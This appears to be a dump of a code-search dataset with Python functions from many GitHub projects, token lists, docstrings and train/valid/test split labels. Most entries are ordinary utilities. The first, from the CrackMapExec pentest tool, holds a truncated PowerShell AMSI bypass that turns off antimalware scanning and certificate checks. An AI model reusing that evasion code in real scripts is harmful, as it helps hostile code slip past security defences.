byt3bl33d3r/CrackMapExec | cme/helpers/powershell.py | https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/helpers/powershell.py#L70-L154 | def create_ps_command(ps_command, force_ps32=False, dont_obfs=False):
amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
try{
[Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed', 'NonP'+'ublic,Sta'+'tic').SetValue($n... | [
"def",
"create_ps_command",
"(",
"ps_command",
",",
"force_ps32",
"=",
"False",
",",
"dont_obfs",
"=",
"False",
")",
":",
"amsi_bypass",
"=",
"\"\"\"[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}\ntry{\n[Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'o... | if is_powershell_installed():
temp = tempfile.NamedTemporaryFile(prefix='cme_',
suffix='.ps1',
dir='/tmp')
temp.write(command)
temp.read()
encoding_types = [1,2,3,4,5,6]
while True:
... | [
"if",
"is_powershell_installed",
"()",
":"
] | python | train | 37.894118 |
jeffknupp/sandman | sandman/sandmanctl.py | https://github.com/jeffknupp/sandman/blob/253ea4d15cbccd9f0016d66fedd7478614cc0b2f/sandman/sandmanctl.py#L35-L44 | def run(generate_pks, show_pks, host, port, uri):
"""Connect sandman to <URI> and start the API server/admin
interface."""
app.config['SQLALCHEMY_DATABASE_URI'] = uri
app.config['SANDMAN_GENERATE_PKS'] = generate_pks
app.config['SANDMAN_SHOW_PKS'] = show_pks
app.config['SERVER_HOST'] = host
... | [
"def",
"run",
"(",
"generate_pks",
",",
"show_pks",
",",
"host",
",",
"port",
",",
"uri",
")",
":",
"app",
".",
"config",
"[",
"'SQLALCHEMY_DATABASE_URI'",
"]",
"=",
"uri",
"app",
".",
"config",
"[",
"'SANDMAN_GENERATE_PKS'",
"]",
"=",
"generate_pks",
"app... | Connect sandman to <URI> and start the API server/admin
interface. | [
"Connect",
"sandman",
"to",
"<URI",
">",
"and",
"start",
"the",
"API",
"server",
"/",
"admin",
"interface",
"."
] | python | train | 42.6 |
pyblish/pyblish-maya | pyblish_maya/lib.py | https://github.com/pyblish/pyblish-maya/blob/75db8b5d8de9d53ae95e74195a788b5f6db2cb5f/pyblish_maya/lib.py#L134-L156 | def add_to_filemenu():
"""Add Pyblish to file-menu
.. note:: We're going a bit hacky here, probably due to my lack
of understanding for `evalDeferred` or `executeDeferred`,
so if you can think of a better solution, feel free to edit.
"""
if hasattr(cmds, 'about') and not cmds.about(ba... | [
"def",
"add_to_filemenu",
"(",
")",
":",
"if",
"hasattr",
"(",
"cmds",
",",
"'about'",
")",
"and",
"not",
"cmds",
".",
"about",
"(",
"batch",
"=",
"True",
")",
":",
"# As Maya builds its menus dynamically upon being accessed,",
"# we force its build here prior to addi... | Add Pyblish to file-menu
.. note:: We're going a bit hacky here, probably due to my lack
of understanding for `evalDeferred` or `executeDeferred`,
so if you can think of a better solution, feel free to edit. | [
"Add",
"Pyblish",
"to",
"file",
"-",
"menu"
] | python | test | 37.956522 |
JarryShaw/PyPCAPKit | src/foundation/extraction.py | https://github.com/JarryShaw/PyPCAPKit/blob/c7f0da9aebc2cf210bf8f8b912f7d3cbb98ca10e/src/foundation/extraction.py#L1015-L1082 | def _run_server(self, multiprocessing):
"""Use server multiprocessing to extract PCAP files."""
if not self._flag_m:
raise UnsupportedCall(f"Extractor(engine={self._exeng})' has no attribute '_run_server'")
if not self._flag_q:
self._flag_q = True
warnings.wa... | [
"def",
"_run_server",
"(",
"self",
",",
"multiprocessing",
")",
":",
"if",
"not",
"self",
".",
"_flag_m",
":",
"raise",
"UnsupportedCall",
"(",
"f\"Extractor(engine={self._exeng})' has no attribute '_run_server'\"",
")",
"if",
"not",
"self",
".",
"_flag_q",
":",
"se... | Use server multiprocessing to extract PCAP files. | [
"Use",
"server",
"multiprocessing",
"to",
"extract",
"PCAP",
"files",
"."
] | python | train | 47.647059 |
algolia/algoliasearch-django | algoliasearch_django/models.py | https://github.com/algolia/algoliasearch-django/blob/ca219db41eb56bdd1c0389cdc1508a41698958d7/algoliasearch_django/models.py#L251-L282 | def _should_really_index(self, instance):
"""Return True if according to should_index the object should be indexed."""
if self._should_index_is_method:
is_method = inspect.ismethod(self.should_index)
try:
count_args = len(inspect.signature(self.should_index).param... | [
"def",
"_should_really_index",
"(",
"self",
",",
"instance",
")",
":",
"if",
"self",
".",
"_should_index_is_method",
":",
"is_method",
"=",
"inspect",
".",
"ismethod",
"(",
"self",
".",
"should_index",
")",
"try",
":",
"count_args",
"=",
"len",
"(",
"inspect... | Return True if according to should_index the object should be indexed. | [
"Return",
"True",
"if",
"according",
"to",
"should_index",
"the",
"object",
"should",
"be",
"indexed",
"."
] | python | valid | 49.3125 |
gopalkoduri/intonation | intonation/pitch.py | https://github.com/gopalkoduri/intonation/blob/7f50d2b572755840be960ea990416a7b27f20312/intonation/pitch.py#L79-L180 | def fit_lines(self, window=1500, break_thresh=1500):
"""
Fits lines to pitch contours.
:param window: size of each chunk to which linear equation is to be fit (in milliseconds).
To keep it simple, hop is chosen to be one third of the window.
:param break_thresh: If there is sile... | [
"def",
"fit_lines",
"(",
"self",
",",
"window",
"=",
"1500",
",",
"break_thresh",
"=",
"1500",
")",
":",
"window",
"/=",
"1000",
"hop",
"=",
"window",
"/",
"3",
"break_thresh",
"/=",
"1000",
"#cut the whole song into pieces if there are gaps more than break_thresh s... | Fits lines to pitch contours.
:param window: size of each chunk to which linear equation is to be fit (in milliseconds).
To keep it simple, hop is chosen to be one third of the window.
:param break_thresh: If there is silence beyond this limit (in milliseconds),
the contour will be brok... | [
"Fits",
"lines",
"to",
"pitch",
"contours",
"."
] | python | train | 50.205882 |
spyder-ide/spyder | spyder/preferences/shortcuts.py | https://github.com/spyder-ide/spyder/blob/f76836ce1b924bcc4efd3f74f2960d26a4e528e0/spyder/preferences/shortcuts.py#L590-L607 | def headerData(self, section, orientation, role=Qt.DisplayRole):
"""Qt Override."""
if role == Qt.TextAlignmentRole:
if orientation == Qt.Horizontal:
return to_qvariant(int(Qt.AlignHCenter | Qt.AlignVCenter))
return to_qvariant(int(Qt.AlignRight | Qt.AlignVCe... | [
"def",
"headerData",
"(",
"self",
",",
"section",
",",
"orientation",
",",
"role",
"=",
"Qt",
".",
"DisplayRole",
")",
":",
"if",
"role",
"==",
"Qt",
".",
"TextAlignmentRole",
":",
"if",
"orientation",
"==",
"Qt",
".",
"Horizontal",
":",
"return",
"to_qv... | Qt Override. | [
"Qt",
"Override",
"."
] | python | train | 44.444444 |
ZELLMECHANIK-DRESDEN/dclab | dclab/downsampling.py | https://github.com/ZELLMECHANIK-DRESDEN/dclab/blob/79002c4356e7020c2ba73ab0a3819c9abd4affec/dclab/downsampling.py#L72-L167 | def downsample_grid(a, b, samples, ret_idx=False):
"""Content-based downsampling for faster visualization
The arrays `a` and `b` make up a 2D scatter plot with high
and low density values. This method takes out points at
indices with high density.
Parameters
----------
a, b: 1d ndarrays
... | [
"def",
"downsample_grid",
"(",
"a",
",",
"b",
",",
"samples",
",",
"ret_idx",
"=",
"False",
")",
":",
"# fixed random state for this method",
"rs",
"=",
"np",
".",
"random",
".",
"RandomState",
"(",
"seed",
"=",
"47",
")",
".",
"get_state",
"(",
")",
"sa... | Content-based downsampling for faster visualization
The arrays `a` and `b` make up a 2D scatter plot with high
and low density values. This method takes out points at
indices with high density.
Parameters
----------
a, b: 1d ndarrays
The input arrays to downsample
samples: int
... | [
"Content",
"-",
"based",
"downsampling",
"for",
"faster",
"visualization"
] | python | train | 33.96875 |
BD2KGenomics/toil-scripts | src/toil_scripts/adam_pipeline/adam_preprocessing.py | https://github.com/BD2KGenomics/toil-scripts/blob/f878d863defcdccaabb7fe06f991451b7a198fb7/src/toil_scripts/adam_pipeline/adam_preprocessing.py#L200-L210 | def upload_data(job, master_ip, inputs, hdfs_name, upload_name, spark_on_toil):
"""
Upload file hdfsName from hdfs to s3
"""
if mock_mode():
truncate_file(master_ip, hdfs_name, spark_on_toil)
log.info("Uploading output BAM %s to %s.", hdfs_name, upload_name)
call_conductor(job, master_... | [
"def",
"upload_data",
"(",
"job",
",",
"master_ip",
",",
"inputs",
",",
"hdfs_name",
",",
"upload_name",
",",
"spark_on_toil",
")",
":",
"if",
"mock_mode",
"(",
")",
":",
"truncate_file",
"(",
"master_ip",
",",
"hdfs_name",
",",
"spark_on_toil",
")",
"log",
... | Upload file hdfsName from hdfs to s3 | [
"Upload",
"file",
"hdfsName",
"from",
"hdfs",
"to",
"s3"
] | python | train | 37.454545 |
kata198/AdvancedHTMLParser | AdvancedHTMLParser/Tags.py | https://github.com/kata198/AdvancedHTMLParser/blob/06aeea5d8e2ea86e155aae0fc237623d3e9b7f9d/AdvancedHTMLParser/Tags.py#L673-L687 | def removeChildren(self, children):
'''
removeChildren - Remove multiple child AdvancedTags.
@see removeChild
@return list<AdvancedTag/None> - A list of all tags removed in same order as passed.
Item is "None" if it was not attached to this node, and thus wa... | [
"def",
"removeChildren",
"(",
"self",
",",
"children",
")",
":",
"ret",
"=",
"[",
"]",
"for",
"child",
"in",
"children",
":",
"ret",
".",
"append",
"(",
"self",
".",
"removeChild",
"(",
"child",
")",
")",
"return",
"ret"
] | removeChildren - Remove multiple child AdvancedTags.
@see removeChild
@return list<AdvancedTag/None> - A list of all tags removed in same order as passed.
Item is "None" if it was not attached to this node, and thus was not removed. | [
"removeChildren",
"-",
"Remove",
"multiple",
"child",
"AdvancedTags",
"."
] | python | train | 30.066667 |
google/grumpy | third_party/pythonparser/parser.py | https://github.com/google/grumpy/blob/3ec87959189cfcdeae82eb68a47648ac25ceb10b/third_party/pythonparser/parser.py#L530-L535 | def single_input(self, body):
"""single_input: NEWLINE | simple_stmt | compound_stmt NEWLINE"""
loc = None
if body != []:
loc = body[0].loc
return ast.Interactive(body=body, loc=loc) | [
"def",
"single_input",
"(",
"self",
",",
"body",
")",
":",
"loc",
"=",
"None",
"if",
"body",
"!=",
"[",
"]",
":",
"loc",
"=",
"body",
"[",
"0",
"]",
".",
"loc",
"return",
"ast",
".",
"Interactive",
"(",
"body",
"=",
"body",
",",
"loc",
"=",
"lo... | single_input: NEWLINE | simple_stmt | compound_stmt NEWLINE | [
"single_input",
":",
"NEWLINE",
"|",
"simple_stmt",
"|",
"compound_stmt",
"NEWLINE"
] | python | valid | 36.833333 |
quantmind/dynts | dynts/backends/r/base.py | https://github.com/quantmind/dynts/blob/21ac57c648bfec402fa6b1fe569496cf098fb5e8/dynts/backends/r/base.py#L117-L126 | def rcts(self, command, *args, **kwargs):
'''General function for applying a rolling R function to a timeserie'''
cls = self.__class__
name = kwargs.pop('name','')
date = kwargs.pop('date',None)
data = kwargs.pop('data',None)
kwargs.pop('bycolumn',None)
ts ... | [
"def",
"rcts",
"(",
"self",
",",
"command",
",",
"*",
"args",
",",
"*",
"*",
"kwargs",
")",
":",
"cls",
"=",
"self",
".",
"__class__",
"name",
"=",
"kwargs",
".",
"pop",
"(",
"'name'",
",",
"''",
")",
"date",
"=",
"kwargs",
".",
"pop",
"(",
"'d... | General function for applying a rolling R function to a timeserie | [
"General",
"function",
"for",
"applying",
"a",
"rolling",
"R",
"function",
"to",
"a",
"timeserie"
] | python | train | 41.9 |
calmjs/nunja | src/nunja/registry.py | https://github.com/calmjs/nunja/blob/37ba114ca2239322718fd9994bb078c037682c33/src/nunja/registry.py#L260-L271 | def verify_path(self, mold_id_path):
"""
Lookup and verify path.
"""
try:
path = self.lookup_path(mold_id_path)
if not exists(path):
raise KeyError
except KeyError:
raise_os_error(ENOENT)
return path | [
"def",
"verify_path",
"(",
"self",
",",
"mold_id_path",
")",
":",
"try",
":",
"path",
"=",
"self",
".",
"lookup_path",
"(",
"mold_id_path",
")",
"if",
"not",
"exists",
"(",
"path",
")",
":",
"raise",
"KeyError",
"except",
"KeyError",
":",
"raise_os_error",... | Lookup and verify path. | [
"Lookup",
"and",
"verify",
"path",
"."
] | python | train | 24.083333 |
galaxyproject/pulsar | pulsar/client/client.py | https://github.com/galaxyproject/pulsar/blob/9ab6683802884324652da0a9f0808c7eb59d3ab4/pulsar/client/client.py#L196-L220 | def fetch_output(self, path, name, working_directory, action_type, output_type):
"""
Fetch (transfer, copy, etc...) an output from the remote Pulsar server.
**Parameters**
path : str
Local path of the dataset.
name : str
Remote name of file (i.e. path re... | [
"def",
"fetch_output",
"(",
"self",
",",
"path",
",",
"name",
",",
"working_directory",
",",
"action_type",
",",
"output_type",
")",
":",
"if",
"output_type",
"in",
"[",
"'output_workdir'",
",",
"'output_metadata'",
"]",
":",
"self",
".",
"_populate_output_path"... | Fetch (transfer, copy, etc...) an output from the remote Pulsar server.
**Parameters**
path : str
Local path of the dataset.
name : str
Remote name of file (i.e. path relative to remote staging output
or working directory).
working_directory : str
... | [
"Fetch",
"(",
"transfer",
"copy",
"etc",
"...",
")",
"an",
"output",
"from",
"the",
"remote",
"Pulsar",
"server",
"."
] | python | train | 44.52 |
PGower/PyCanvas | pycanvas/apis/pages.py | https://github.com/PGower/PyCanvas/blob/68520005382b440a1e462f9df369f54d364e21e8/pycanvas/apis/pages.py#L339-L358 | def show_page_courses(self, url, course_id):
"""
Show page.
Retrieve the content of a wiki page
"""
path = {}
data = {}
params = {}
# REQUIRED - PATH - course_id
"""ID"""
path["course_id"] = course_id
# REQUIRED - P... | [
"def",
"show_page_courses",
"(",
"self",
",",
"url",
",",
"course_id",
")",
":",
"path",
"=",
"{",
"}",
"data",
"=",
"{",
"}",
"params",
"=",
"{",
"}",
"# REQUIRED - PATH - course_id\r",
"\"\"\"ID\"\"\"",
"path",
"[",
"\"course_id\"",
"]",
"=",
"course_id",
... | Show page.
Retrieve the content of a wiki page | [
"Show",
"page",
".",
"Retrieve",
"the",
"content",
"of",
"a",
"wiki",
"page"
] | python | train | 33.4 |
ManiacalLabs/BiblioPixel | bibliopixel/project/edit_queue.py | https://github.com/ManiacalLabs/BiblioPixel/blob/fd97e6c651a4bbcade64733847f4eec8f7704b7c/bibliopixel/project/edit_queue.py#L15-L24 | def put_edit(self, f, *args, **kwds):
"""
Defer an edit to run on the EditQueue.
:param callable f: The function to be called
:param tuple args: Positional arguments to the function
:param tuple kwds: Keyword arguments to the function
:throws queue.Full: if the queue is ... | [
"def",
"put_edit",
"(",
"self",
",",
"f",
",",
"*",
"args",
",",
"*",
"*",
"kwds",
")",
":",
"self",
".",
"put_nowait",
"(",
"functools",
".",
"partial",
"(",
"f",
",",
"*",
"args",
",",
"*",
"*",
"kwds",
")",
")"
] | Defer an edit to run on the EditQueue.
:param callable f: The function to be called
:param tuple args: Positional arguments to the function
:param tuple kwds: Keyword arguments to the function
:throws queue.Full: if the queue is full | [
"Defer",
"an",
"edit",
"to",
"run",
"on",
"the",
"EditQueue",
"."
] | python | valid | 38.8 |
RudolfCardinal/pythonlib | cardinal_pythonlib/convert.py | https://github.com/RudolfCardinal/pythonlib/blob/0b84cb35f38bd7d8723958dae51b480a829b7227/cardinal_pythonlib/convert.py#L113-L122 | def convert_attrs_to_lowercase(obj: Any, attrs: Iterable[str]) -> None:
"""
Converts the specified attributes of an object to lower case, modifying
the object in place.
"""
for a in attrs:
value = getattr(obj, a)
if value is None:
continue
setattr(obj, a, value.lo... | [
"def",
"convert_attrs_to_lowercase",
"(",
"obj",
":",
"Any",
",",
"attrs",
":",
"Iterable",
"[",
"str",
"]",
")",
"->",
"None",
":",
"for",
"a",
"in",
"attrs",
":",
"value",
"=",
"getattr",
"(",
"obj",
",",
"a",
")",
"if",
"value",
"is",
"None",
":... | Converts the specified attributes of an object to lower case, modifying
the object in place. | [
"Converts",
"the",
"specified",
"attributes",
"of",
"an",
"object",
"to",
"lower",
"case",
"modifying",
"the",
"object",
"in",
"place",
"."
] | python | train | 31.7 |
tensorlayer/tensorlayer | tensorlayer/prepro.py | https://github.com/tensorlayer/tensorlayer/blob/aa9e52e36c7058a7e6fd81d36563ca6850b21956/tensorlayer/prepro.py#L1752-L1808 | def adjust_hue(im, hout=0.66, is_offset=True, is_clip=True, is_random=False):
"""Adjust hue of an RGB image.
This is a convenience method that converts an RGB image to float representation, converts it to HSV, add an offset to the hue channel, converts back to RGB and then back to the original data type.
F... | [
"def",
"adjust_hue",
"(",
"im",
",",
"hout",
"=",
"0.66",
",",
"is_offset",
"=",
"True",
",",
"is_clip",
"=",
"True",
",",
"is_random",
"=",
"False",
")",
":",
"hsv",
"=",
"rgb_to_hsv",
"(",
"im",
")",
"if",
"is_random",
":",
"hout",
"=",
"np",
"."... | Adjust hue of an RGB image.
This is a convenience method that converts an RGB image to float representation, converts it to HSV, add an offset to the hue channel, converts back to RGB and then back to the original data type.
For TF, see `tf.image.adjust_hue <https://www.tensorflow.org/api_docs/python/tf/image/... | [
"Adjust",
"hue",
"of",
"an",
"RGB",
"image",
"."
] | python | valid | 38.140351 |
chrislim2888/IP2Location-Python | IP2Location.py | https://github.com/chrislim2888/IP2Location-Python/blob/6b2a7d3a5e61c9f8efda5ae96c7064f9a7714621/IP2Location.py#L189-L192 | def get_mcc(self, ip):
''' Get mcc '''
rec = self.get_all(ip)
return rec and rec.mcc | [
"def",
"get_mcc",
"(",
"self",
",",
"ip",
")",
":",
"rec",
"=",
"self",
".",
"get_all",
"(",
"ip",
")",
"return",
"rec",
"and",
"rec",
".",
"mcc"
] | Get mcc | [
"Get",
"mcc"
] | python | train | 26.25 |
analyzere/analyzere-python | analyzere/base_resources.py | https://github.com/analyzere/analyzere-python/blob/0593d5b7b69c4df6d6dbc80387cc6ff5dc5f4e8f/analyzere/base_resources.py#L309-L366 | def upload_data(self, file_or_str, chunk_size=analyzere.upload_chunk_size,
poll_interval=analyzere.upload_poll_interval,
upload_callback=lambda x: None,
commit_callback=lambda x: None):
"""
Accepts a file-like object or string and uploads it. F... | [
"def",
"upload_data",
"(",
"self",
",",
"file_or_str",
",",
"chunk_size",
"=",
"analyzere",
".",
"upload_chunk_size",
",",
"poll_interval",
"=",
"analyzere",
".",
"upload_poll_interval",
",",
"upload_callback",
"=",
"lambda",
"x",
":",
"None",
",",
"commit_callbac... | Accepts a file-like object or string and uploads it. Files are
automatically uploaded in chunks. The default chunk size is 16MiB and
can be overwritten by specifying the number of bytes in the
``chunk_size`` variable.
Accepts an optional poll_interval for temporarily overriding the
... | [
"Accepts",
"a",
"file",
"-",
"like",
"object",
"or",
"string",
"and",
"uploads",
"it",
".",
"Files",
"are",
"automatically",
"uploaded",
"in",
"chunks",
".",
"The",
"default",
"chunk",
"size",
"is",
"16MiB",
"and",
"can",
"be",
"overwritten",
"by",
"specif... | python | train | 43.448276 |
ARMmbed/yotta | yotta/lib/registry_access.py | https://github.com/ARMmbed/yotta/blob/56bc1e56c602fa20307b23fe27518e9cd6c11af1/yotta/lib/registry_access.py#L536-L553 | def unpublish(namespace, name, version, registry=None):
''' Try to unpublish a recently published version. Return any errors that
occur.
'''
registry = registry or Registry_Base_URL
url = '%s/%s/%s/versions/%s' % (
registry,
namespace,
name,
version
)
he... | [
"def",
"unpublish",
"(",
"namespace",
",",
"name",
",",
"version",
",",
"registry",
"=",
"None",
")",
":",
"registry",
"=",
"registry",
"or",
"Registry_Base_URL",
"url",
"=",
"'%s/%s/%s/versions/%s'",
"%",
"(",
"registry",
",",
"namespace",
",",
"name",
",",... | Try to unpublish a recently published version. Return any errors that
occur. | [
"Try",
"to",
"unpublish",
"a",
"recently",
"published",
"version",
".",
"Return",
"any",
"errors",
"that",
"occur",
"."
] | python | valid | 24.555556 |
mapnik/Cascadenik | cascadenik/__init__.py | https://github.com/mapnik/Cascadenik/blob/82f66859340a31dfcb24af127274f262d4f3ad85/cascadenik/__init__.py#L42-L90 | def load_map(map, src_file, output_dir, scale=1, cache_dir=None, datasources_cfg=None, user_styles=[], verbose=False):
""" Apply a stylesheet source file to a given mapnik Map instance, like mapnik.load_map().
Parameters:
map:
Instance of mapnik.Map.
sr... | [
"def",
"load_map",
"(",
"map",
",",
"src_file",
",",
"output_dir",
",",
"scale",
"=",
"1",
",",
"cache_dir",
"=",
"None",
",",
"datasources_cfg",
"=",
"None",
",",
"user_styles",
"=",
"[",
"]",
",",
"verbose",
"=",
"False",
")",
":",
"scheme",
",",
"... | Apply a stylesheet source file to a given mapnik Map instance, like mapnik.load_map().
Parameters:
map:
Instance of mapnik.Map.
src_file:
Location of stylesheet .mml file. Can be relative path, absolute path,
or fully-qualified URL o... | [
"Apply",
"a",
"stylesheet",
"source",
"file",
"to",
"a",
"given",
"mapnik",
"Map",
"instance",
"like",
"mapnik",
".",
"load_map",
"()",
".",
"Parameters",
":",
"map",
":",
"Instance",
"of",
"mapnik",
".",
"Map",
".",
"src_file",
":",
"Location",
"of",
"s... | python | train | 33.673469 |
bitesofcode/projex | projex/cli.py | https://github.com/bitesofcode/projex/blob/d31743ec456a41428709968ab11a2cf6c6c76247/projex/cli.py#L281-L302 | def parser(scope, usage=''):
"""
Generates a default parser for the inputted scope.
:param scope | <dict> || <module>
usage | <str>
callable | <str>
:return <OptionParser>
"""
subcmds = []
for cmd in commands(scope):
subcmds.ap... | [
"def",
"parser",
"(",
"scope",
",",
"usage",
"=",
"''",
")",
":",
"subcmds",
"=",
"[",
"]",
"for",
"cmd",
"in",
"commands",
"(",
"scope",
")",
":",
"subcmds",
".",
"append",
"(",
"cmd",
".",
"usage",
"(",
")",
")",
"if",
"subcmds",
":",
"subcmds"... | Generates a default parser for the inputted scope.
:param scope | <dict> || <module>
usage | <str>
callable | <str>
:return <OptionParser> | [
"Generates",
"a",
"default",
"parser",
"for",
"the",
"inputted",
"scope",
".",
":",
"param",
"scope",
"|",
"<dict",
">",
"||",
"<module",
">",
"usage",
"|",
"<str",
">",
"callable",
"|",
"<str",
">",
":",
"return",
"<OptionParser",
">"
] | python | train | 23.681818 |
Yubico/python-pyhsm | pyhsm/aead_cmd.py | https://github.com/Yubico/python-pyhsm/blob/b6e2744d1ea15c352a0fc1d6ebc5950026b71311/pyhsm/aead_cmd.py#L58-L84 | def parse_result(self, data):
"""
Returns a YHSM_GeneratedAEAD instance, or throws pyhsm.exception.YHSM_CommandFailed.
"""
# typedef struct {
# uint8_t nonce[YSM_AEAD_NONCE_SIZE]; // Nonce (publicId for Yubikey AEADs)
# uint32_t keyHandle; // Key handl... | [
"def",
"parse_result",
"(",
"self",
",",
"data",
")",
":",
"# typedef struct {",
"# uint8_t nonce[YSM_AEAD_NONCE_SIZE]; // Nonce (publicId for Yubikey AEADs)",
"# uint32_t keyHandle; // Key handle",
"# YSM_STATUS status; // Status",
"# uint8_t numByte... | Returns a YHSM_GeneratedAEAD instance, or throws pyhsm.exception.YHSM_CommandFailed. | [
"Returns",
"a",
"YHSM_GeneratedAEAD",
"instance",
"or",
"throws",
"pyhsm",
".",
"exception",
".",
"YHSM_CommandFailed",
"."
] | python | train | 46.481481 |
kbr/fritzconnection | fritzconnection/fritzstatus.py | https://github.com/kbr/fritzconnection/blob/b183f759ef19dd1652371e912d36cfe34f6639ac/fritzconnection/fritzstatus.py#L118-L124 | def str_transmission_rate(self):
"""Returns a tuple of human readable transmission rates in bytes."""
upstream, downstream = self.transmission_rate
return (
fritztools.format_num(upstream),
fritztools.format_num(downstream)
) | [
"def",
"str_transmission_rate",
"(",
"self",
")",
":",
"upstream",
",",
"downstream",
"=",
"self",
".",
"transmission_rate",
"return",
"(",
"fritztools",
".",
"format_num",
"(",
"upstream",
")",
",",
"fritztools",
".",
"format_num",
"(",
"downstream",
")",
")"... | Returns a tuple of human readable transmission rates in bytes. | [
"Returns",
"a",
"tuple",
"of",
"human",
"readable",
"transmission",
"rates",
"in",
"bytes",
"."
] | python | train | 39.285714 |
wiheto/teneto | teneto/classes/bids.py | https://github.com/wiheto/teneto/blob/80d7a83a9adc1714589b020627c45bd5b66248ab/teneto/classes/bids.py#L221-L320 | def _derive_temporalnetwork(self, f, i, tag, params, confounds_exist, confound_files):
"""
Funciton called by TenetoBIDS.derive_temporalnetwork for concurrent processing.
"""
data = load_tabular_file(f, index_col=True, header=True)
fs, _ = drop_bids_suffix(f)
save_name, ... | [
"def",
"_derive_temporalnetwork",
"(",
"self",
",",
"f",
",",
"i",
",",
"tag",
",",
"params",
",",
"confounds_exist",
",",
"confound_files",
")",
":",
"data",
"=",
"load_tabular_file",
"(",
"f",
",",
"index_col",
"=",
"True",
",",
"header",
"=",
"True",
... | Funciton called by TenetoBIDS.derive_temporalnetwork for concurrent processing. | [
"Funciton",
"called",
"by",
"TenetoBIDS",
".",
"derive_temporalnetwork",
"for",
"concurrent",
"processing",
"."
] | python | train | 47.32 |
DataONEorg/d1_python | lib_client/src/d1_client/solr_client.py | https://github.com/DataONEorg/d1_python/blob/3ac4d4f3ca052d3e8641a6a329cab526c8ddcb0d/lib_client/src/d1_client/solr_client.py#L506-L510 | def _post_query(self, **query_dict):
"""Perform a POST query against Solr and return the response as a Python
dict."""
param_dict = query_dict.copy()
return self._send_query(do_post=True, **param_dict) | [
"def",
"_post_query",
"(",
"self",
",",
"*",
"*",
"query_dict",
")",
":",
"param_dict",
"=",
"query_dict",
".",
"copy",
"(",
")",
"return",
"self",
".",
"_send_query",
"(",
"do_post",
"=",
"True",
",",
"*",
"*",
"param_dict",
")"
] | Perform a POST query against Solr and return the response as a Python
dict. | [
"Perform",
"a",
"POST",
"query",
"against",
"Solr",
"and",
"return",
"the",
"response",
"as",
"a",
"Python",
"dict",
"."
] | python | train | 45.8 |
bwhite/hadoopy | hadoopy/thirdparty/pyinstaller/PyInstaller/compat.py | https://github.com/bwhite/hadoopy/blob/ff39b4e6d4e6efaf1f571cf0f2c0e0d7ab28c2d6/hadoopy/thirdparty/pyinstaller/PyInstaller/compat.py#L197-L204 | def exec_python_rc(*args, **kwargs):
"""
Wrap running python script in a subprocess.
Return exit code of the invoked command.
"""
cmdargs, kwargs = __wrap_python(args, kwargs)
return exec_command_rc(*cmdargs, **kwargs) | [
"def",
"exec_python_rc",
"(",
"*",
"args",
",",
"*",
"*",
"kwargs",
")",
":",
"cmdargs",
",",
"kwargs",
"=",
"__wrap_python",
"(",
"args",
",",
"kwargs",
")",
"return",
"exec_command_rc",
"(",
"*",
"cmdargs",
",",
"*",
"*",
"kwargs",
")"
] | Wrap running python script in a subprocess.
Return exit code of the invoked command. | [
"Wrap",
"running",
"python",
"script",
"in",
"a",
"subprocess",
"."
] | python | train | 29.5 |
Opentrons/opentrons | api/src/opentrons/legacy_api/instruments/pipette.py | https://github.com/Opentrons/opentrons/blob/a7c15cc2636ecb64ab56c7edc1d8a57163aaeadf/api/src/opentrons/legacy_api/instruments/pipette.py#L250-L268 | def reset_tip_tracking(self):
"""
Resets the :any:`Pipette` tip tracking, "refilling" the tip racks
"""
self.current_tip(None)
self.tip_rack_iter = iter([])
if self.has_tip_rack():
iterables = self.tip_racks
if self.channels > 1:
... | [
"def",
"reset_tip_tracking",
"(",
"self",
")",
":",
"self",
".",
"current_tip",
"(",
"None",
")",
"self",
".",
"tip_rack_iter",
"=",
"iter",
"(",
"[",
"]",
")",
"if",
"self",
".",
"has_tip_rack",
"(",
")",
":",
"iterables",
"=",
"self",
".",
"tip_racks... | Resets the :any:`Pipette` tip tracking, "refilling" the tip racks | [
"Resets",
"the",
":",
"any",
":",
"Pipette",
"tip",
"tracking",
"refilling",
"the",
"tip",
"racks"
] | python | train | 32.894737 |
bolt-project/bolt | bolt/spark/chunk.py | https://github.com/bolt-project/bolt/blob/9cd7104aa085498da3097b72696184b9d3651c51/bolt/spark/chunk.py#L434-L512 | def getplan(self, size="150", axes=None, padding=None):
"""
Identify a plan for chunking values along each dimension.
Generates an ndarray with the size (in number of elements) of chunks
in each dimension. If provided, will estimate chunks for only a
subset of axes, leaving all ... | [
"def",
"getplan",
"(",
"self",
",",
"size",
"=",
"\"150\"",
",",
"axes",
"=",
"None",
",",
"padding",
"=",
"None",
")",
":",
"from",
"numpy",
"import",
"dtype",
"as",
"gettype",
"# initialize with all elements in one chunk",
"plan",
"=",
"self",
".",
"vshape... | Identify a plan for chunking values along each dimension.
Generates an ndarray with the size (in number of elements) of chunks
in each dimension. If provided, will estimate chunks for only a
subset of axes, leaving all others to the full size of the axis.
Parameters
----------
... | [
"Identify",
"a",
"plan",
"for",
"chunking",
"values",
"along",
"each",
"dimension",
"."
] | python | test | 32.974684 |
hfaran/progressive | progressive/util.py | https://github.com/hfaran/progressive/blob/e39c7fb17405dbe997c3417a5993b94ef16dab0a/progressive/util.py#L34-L45 | def merge_dicts(dicts, deepcopy=False):
"""Merges dicts
In case of key conflicts, the value kept will be from the latter
dictionary in the list of dictionaries
:param dicts: [dict, ...]
:param deepcopy: deepcopy items within dicts
"""
assert isinstance(dicts, list) and all(isinstance(d, di... | [
"def",
"merge_dicts",
"(",
"dicts",
",",
"deepcopy",
"=",
"False",
")",
":",
"assert",
"isinstance",
"(",
"dicts",
",",
"list",
")",
"and",
"all",
"(",
"isinstance",
"(",
"d",
",",
"dict",
")",
"for",
"d",
"in",
"dicts",
")",
"return",
"dict",
"(",
... | Merges dicts
In case of key conflicts, the value kept will be from the latter
dictionary in the list of dictionaries
:param dicts: [dict, ...]
:param deepcopy: deepcopy items within dicts | [
"Merges",
"dicts"
] | python | train | 37.166667 |
marl/jams | jams/core.py | https://github.com/marl/jams/blob/b16778399b9528efbd71434842a079f7691a7a66/jams/core.py#L1065-L1087 | def to_interval_values(self):
'''Extract observation data in a `mir_eval`-friendly format.
Returns
-------
intervals : np.ndarray [shape=(n, 2), dtype=float]
Start- and end-times of all valued intervals
`intervals[i, :] = [time[i], time[i] + duration[i]]`
... | [
"def",
"to_interval_values",
"(",
